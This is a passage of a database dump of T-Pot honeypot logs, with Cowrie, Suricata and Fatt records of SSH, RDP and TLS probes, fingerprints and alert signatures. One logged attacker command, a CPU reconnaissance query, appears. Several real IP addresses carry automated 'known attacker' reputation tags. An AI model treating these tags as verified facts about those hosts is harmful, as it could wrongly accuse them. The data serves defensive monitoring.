"0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36324, "dest_port": 443, "timestamp": "2021-09-20T12:17:17.587311", "@timestamp": "2021-09-20T12:17:17.587Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36813	160.44.201.156	109.199.241.180	Fatt	2021-09-20 15:17:17.628343+03	2021-09-20 15:30:02.774866+03	{"_id": "NgYjA3wBvYTbRNuEnmW5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 36324, "timestamp": "2021-09-20T12:17:17.628343", "@timestamp": "2021-09-20T12:17:17.628Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	DE
36814	94.232.41.165	109.199.241.180	Fatt	2021-09-20 15:17:17.858255+03	2021-09-20 15:30:02.775866+03	{"_id": "NwYjA3wBvYTbRNuEnmW5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "94.232.41.165", "asn": 48080, "as_org": "LLC Svobodnaya kassa", "latitude": 58.0033, "location": {"lat": 58.0033, "lon": 56.2478}, "timezone": "Asia/Yekaterinburg", "city_name": "Perm", "longitude": 56.2478, "postal_code": "614000", "region_code": "PER", "region_name": "Perm Krai", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "src_ip": "94.232.41.165", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 43796, "dest_port": 3389, "timestamp": "2021-09-20T12:17:17.858255", "@timestamp": "2021-09-20T12:17:17.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	RU
36816	157.245.53.4	109.199.241.180	Cowrie	2021-09-20 15:17:22.83272+03	2021-09-20 15:30:02.778871+03	{"_id": "OwYjA3wBvYTbRNuEr2X7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "157.245.53.4", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh2_1.9.0'", "session": "43b3e43f8a98", "version": "b'SSH-2.0-libssh2_1.9.0'", "@version": "1", "timestamp": "2021-09-20T12:17:22.832720Z", "@timestamp": "2021-09-20T12:17:22.832Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	US
36817	204.79.197.200	109.199.241.180	Suricata	2021-09-20 15:17:22.611556+03	2021-09-20 15:30:02.779868+03	{"_id": "PQYjA3wBvYTbRNuEsGX7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:22.611556+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "204.79.197.200", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "204.79.197.200", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 486913929794788, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62641, "timestamp": "2021-09-20T12:17:22.611556Z", "@timestamp": "2021-09-20T12:17:22.611Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36818	157.245.53.4	109.199.241.180	Suricata	2021-09-20 15:17:23.011008+03	2021-09-20 15:30:02.78087+03	{"_id": "PgYjA3wBvYTbRNuEsGX7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 880985769176807, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53858, "dest_port": 22, "timestamp": "2021-09-20T12:17:23.011008Z", "@timestamp": "2021-09-20T12:17:23.011Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	US
36819	157.245.53.4	109.199.241.180	Suricata	2021-09-20 15:17:23.011888+03	2021-09-20 15:30:02.781869+03	{"_id": "PAYjA3wBvYTbRNuEsGX7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:17:22.650983+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1217}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 880985769176807, "payload": "AAADVAUUIy0eSJ+KI1f15rrnGpCxNgAAALdlY2RoLXNoYTItbmlzdHAyNTYsZWNkaC1zaGEyLW5pc3RwMzg0LGVjZGgtc2hhMi1uaXN0cDUyMSxkaWZmaWUtaGVsbG1hbi1ncm91cC1leGNoYW5nZS1zaGEyNTYsZGlmZmllLWhlbGxtYW4tZ3JvdXAtZXhjaGFuZ2Utc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEAAABLZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAkmFlczEyOC1jdHIsYWVzMTkyLWN0cixhZXMyNTYtY3RyLGFlczI1Ni1jYmMscmlqbmRhZWwtY2JjQGx5c2F0b3IubGl1LnNlLGFlczE5Mi1jYmMsYWVzMTI4LWNiYyxibG93ZmlzaC1jYmMsYXJjZm91cjEyOCxhcmNmb3VyLGNhc3QxMjgtY2JjLDNkZXMtY2JjAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAAcWhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEsaG1hYy1zaGExLTk2LGhtYWMtbWQ1LGhtYWMtbWQ1LTk2LGhtYWMtcmlwZW1kMTYwLGhtYWMtcmlwZW1kMTYwQG9wZW5zc2guY29tAAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAAD5P5Mt+w==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 53858, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:17:23.011888Z", "@timestamp": "2021-09-20T12:17:23.011Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...T..#-.H..#W.......6....ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...Kecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc....aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com...qhmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com....none....none..............?.-."}}	1	\N	\N	alert	\N	US
36820	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:13.11743+03	2021-09-20 15:30:02.783869+03	{"_id": "DQYjA3wBvYTbRNuEjGXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "ca00cf87f2d1", "@version": "1", "timestamp": "2021-09-20T12:17:13.117430Z", "@timestamp": "2021-09-20T12:17:13.117Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
36821	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:17:14.111999+03	2021-09-20 15:30:02.784872+03	{"_id": "FQYjA3wBvYTbRNuEkGW4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1b670dfb347a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:17:14.111999Z", "@timestamp": "2021-09-20T12:17:14.111Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	IN
36828	43.240.6.90	109.199.241.180	Fatt	2021-09-20 15:17:14.424549+03	2021-09-20 15:30:02.795868+03	{"_id": "GgYjA3wBvYTbRNuEkmW4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "43.240.6.90", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 57208, "dest_port": 22, "timestamp": "2021-09-20T12:17:14.424549", "@timestamp": "2021-09-20T12:17:14.424Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	IN
36822	216.58.206.202	109.199.241.180	Suricata	2021-09-20 15:17:17.19416+03	2021-09-20 15:30:02.786872+03	{"_id": "KQYjA3wBvYTbRNuEnWVy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:17:16.194987+0000", "pkts_toclient": 0, "pkts_toserver": 2, "bytes_toclient": 0, "bytes_toserver": 132}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "216.58.206.202", "asn": 15169, "as_org": "Google Inc.", "dma_code": 807, "latitude": 37.4043, "location": {"lat": 37.4043, "lon": -122.0748}, "timezone": "America/Los_Angeles", "city_name": "Mountain View", "longitude": -122.0748, "postal_code": "94043", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "216.58.206.202", "stream": 0, "dest_ip": "192.168.20.110", "flow_id": 1375581317691819, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 43748, "timestamp": "2021-09-20T12:17:17.194160Z", "@timestamp": "2021-09-20T12:17:17.194Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36823	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:13.394686+03	2021-09-20 15:30:02.787868+03	{"_id": "CwYjA3wBvYTbRNuEjGXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 26, "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "src_ip": "81.71.14.9", "ttylog": "log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 0.2779207229614258, "duplicate": true, "timestamp": "2021-09-20T12:17:13.394686Z", "@timestamp": "2021-09-20T12:17:13.394Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
36824	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:17:13.395922+03	2021-09-20 15:30:02.789869+03	{"_id": "DAYjA3wBvYTbRNuEjGXP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.session.closed", "message": "Connection lost after 29 seconds", "session": "ca00cf87f2d1", "@version": "1", "duration": 29.263036251068115, "timestamp": "2021-09-20T12:17:13.395922Z", "@timestamp": "2021-09-20T12:17:13.395Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36825	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:17:14.112959+03	2021-09-20 15:30:02.791868+03	{"_id": "DgYjA3wBvYTbRNuEjmXO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "43.240.6.90", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57208, "timestamp": "2021-09-20T12:17:14.112959", "@timestamp": "2021-09-20T12:17:14.112Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36826	43.240.6.90	109.199.241.180	Cowrie	2021-09-20 15:17:14.109006+03	2021-09-20 15:30:02.792867+03	{"_id": "FgYjA3wBvYTbRNuEkGW4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "43.240.6.90", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 43.240.6.90:57208 (192.168.176.2:22) [session: 1b670dfb347a]", "session": "1b670dfb347a", "@version": "1", "protocol": "ssh", "src_port": 57208, "dest_port": 22, "timestamp": "2021-09-20T12:17:14.109006Z", "@timestamp": "2021-09-20T12:17:14.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	IN
36827	43.240.6.90	109.199.241.180	Suricata	2021-09-20 15:17:14.424549+03	2021-09-20 15:30:02.793867+03	{"_id": "GQYjA3wBvYTbRNuEkWW2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:17:13.794448+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "43.240.6.90", "asn": 133676, "as_org": "Precious netcom pvt ltd", "latitude": 28.0381, "location": {"lat": 28.0381, "lon": 79.1267}, "timezone": "Asia/Kolkata", "city_name": "Budaun", "longitude": 79.1267, "postal_code": "243601", "region_code": "UP", "region_name": "Uttar Pradesh", "country_name": "India", "country_code2": "IN", "country_code3": "IN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "43.240.6.90", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 959472000900944, "payload": "AAADzAYUP05wvUIFr60bDA1wCH0kIQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57208, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:17:14.424549Z", "@timestamp": "2021-09-20T12:17:14.424Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": 